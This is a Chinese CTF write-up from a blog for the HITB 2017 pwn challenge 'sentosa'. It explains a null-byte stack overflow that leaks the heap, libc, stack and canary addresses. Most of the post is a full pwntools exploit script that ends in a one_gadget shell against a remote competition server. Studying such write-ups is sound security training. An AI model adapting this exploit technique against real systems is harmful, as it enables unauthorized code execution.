• hitb2017 sentosa writeup


    我都快忘了我还有个博客了。。。

    这次有幸被XMAN夏令营选为代表去新加坡参加htib线下赛(其实由于太菜变成了新加坡5日游。。。),pwn题被虐哭,在此我要再次感谢一下BrieflyX大佬,要不是出了这道sentosa我们队就会面临一道pwn都做不出来的窘境。:)

    这道题是一道很常规的题,没有什么骚套路,就是简单粗暴的栈溢出。不过由于开了PIE和canary,所以需要泄露堆地址、泄露libc基址、泄露栈地址、泄露canary。

    当输入长度,即a2,为0时,会导致v2变成0xffffffff,造成一个溢出,但是最后会加上一个0,所以无法直接泄露canary。

    这里利用null byte attack,用最后的0覆盖addr的最低位,导致堆指针发生变化,提前构造fastbin链表使堆上残留一个fd指针,从而泄露堆地址。然后伪造一个smallbin,修改addr然后free掉从而泄露出libc基址。然后泄露libc中的environ变量得到栈地址。最后泄露canary,然后就可以各种姿势拿flag。

    注:由于堆布局的原因,泄露堆地址时首字节泄露不出来。不过首字节大概率为0x55,小概率为0x56,极小概率为0x54,所以直接硬编码为0x55,exp成功率并不是100%,不过失败了多试几次就行了。

      1 from pwn import *
      2 import os
      3 from ctypes import *
      4 
      5 context.log_level = 'debug'
      6 
      7 DEBUG = False
      8 
      9 elf = ELF('./sentosa')
     10 libc = ELF('./libc.so.6')
     11 
     12 env = os.environ
     13 
     14 env['LD_PRELOAD'] = './libc.so.6'
     15 
     16 if DEBUG:
     17     p = process('./sentosa', env=env)
     18     #raw_input('go')
     19 else:
     20     p = remote('47.74.144.222', 20007)
     21 
     22 def start_project(size, name='0', price=0, area=0, capacity=0):
     23     p.recvuntil('5. Exit
    ')
     24     p.sendline('1')
     25     p.recvuntil('name: ')
     26     p.sendline(str(size))
     27     p.recvuntil('name: ')
     28     p.sendline(name)
     29     p.recvuntil('price: ')
     30     p.sendline(str(price))
     31     p.recvuntil('area: ')
     32     p.sendline(str(area))
     33     p.recvuntil('capacity: ')
     34     p.sendline(str(capacity))
     35 
     36 def cancel_project(number):
     37     p.recvuntil('5. Exit
    ')
     38     p.sendline('4')
     39     p.recvuntil('Input your projects number: ')
     40     p.sendline(str(number))
     41 
     42 start_project(3)
     43 start_project(3)
     44 start_project(3)
     45 start_project(3)
     46 cancel_project(1)
     47 cancel_project(0)
     48 cancel_project(2)
     49 
     50 start_project(0, 'A'*(0x98-0x3e))
     51 
     52 
     53 p.recvuntil('5. Exit
    ')
     54 p.sendline('2')
     55 p.recvuntil('Area: ')
     56 a = p.recvuntil('
    Capacity: ', drop=True)
     57 b = p.recvuntil('
    Project: ', drop=True)
     58 a = c_uint(int(a, 10)).value
     59 b = c_uint(int(b, 10)).value
     60 
     61 heap = 0x550000000000 + b*0x100
     62 
     63 print hex(heap)
     64 
     65 start_project(43, 'B'*36+p32(0xc1), 0x10000)
     66 start_project(43)
     67 start_project(43)
     68 start_project(43)
     69 start_project(0, 'C'*(0x98-0x3e)+p64(heap+0xc0))
     70 
     71 cancel_project(6)
     72 
     73 start_project(0, 'D'*(0x98-0x3e)+p64(heap+0xbc))
     74 
     75 p.recvuntil('5. Exit
    ')
     76 p.sendline('2')
     77 p.recvuntil('Capacity: 0
    ')
     78 p.recvuntil('Capacity: 0
    ')
     79 p.recvuntil('Capacity: 0
    ')
     80 p.recvuntil('Capacity: 0
    ')
     81 p.recvuntil('Project: ')
     82 
     83 libc_base = u64(p.recvuntil('
    Price: ', drop=True).ljust(8, 'x00')) - 0x3c3b78
     84 
     85 environ = libc_base + libc.symbols['environ']
     86 one_gadget = libc_base + 0xf0567
     87 
     88 start_project(27)
     89 
     90 start_project(27+16)
     91 
     92 start_project(0, 'E'*(0x98-0x3e)+p64(environ-4))
     93 
     94 p.recvuntil('5. Exit
    ')
     95 p.sendline('2')
     96 p.recvuntil('Capacity: 0
    ')
     97 p.recvuntil('Capacity: 0
    ')
     98 p.recvuntil('Capacity: 0
    ')
     99 p.recvuntil('Capacity: 0
    ')
    100 p.recvuntil('Capacity: 0
    ')
    101 p.recvuntil('Capacity: 0
    ')
    102 p.recvuntil('Capacity: 0
    ')
    103 p.recvuntil('Capacity: 0
    ')
    104 p.recvuntil('Project: ')
    105 
    106 stack = u64(p.recvuntil('
    Price: ', drop=True).ljust(8, 'x00'))
    107 
    108 print hex(stack) # 0x7ffc42a071a8
    109 
    110 start_project(0, 'F'*(0x98-0x3e)+p64(stack-0x133))
    111 
    112 p.recvuntil('5. Exit
    ')
    113 p.sendline('2')
    114 p.recvuntil('Capacity: 0
    ')
    115 p.recvuntil('Capacity: 0
    ')
    116 p.recvuntil('Capacity: 0
    ')
    117 p.recvuntil('Capacity: 0
    ')
    118 p.recvuntil('Capacity: 0
    ')
    119 p.recvuntil('Capacity: 0
    ')
    120 p.recvuntil('Capacity: 0
    ')
    121 p.recvuntil('Capacity: 0
    ')
    122 p.recvuntil('Capacity: 0
    ')
    123 p.recvuntil('Project: ')
    124 
    125 canary = p.recvuntil('
    Price: ', drop=True)
    126 
    127 assert len(canary) == 7
    128 
    129 canary = u64('x00'+canary)
    130 
    131 print hex(one_gadget)
    132 
    133 #raw_input('go')
    134 
    135 start_project(0, 'C'*0x68 + p64(canary) + 'D'*0x28 + p64(one_gadget))
    136 
    137 p.interactive()
    exp
  • 相关阅读:
    Go语言new( )函数
    Go语言讲解深拷贝与浅拷贝
    (转)使用kubectl访问Kubernetes集群时的身份验证和授权
    执行kubectl命令时报错 error: You must be logged in to the server (Unauthorized)
    报错 cannot allocate memory 或者 no space left on device ,修复K8S内存泄露问题
    linux之apt-get命令(转)
    GSensor 碰撞检测方法与实现
    uboot流程(转)
    linux 环境搭建
    333开发记录
  • 原文地址:https://www.cnblogs.com/1oner/p/7456253.html
Copyright © 2020-2023  润新知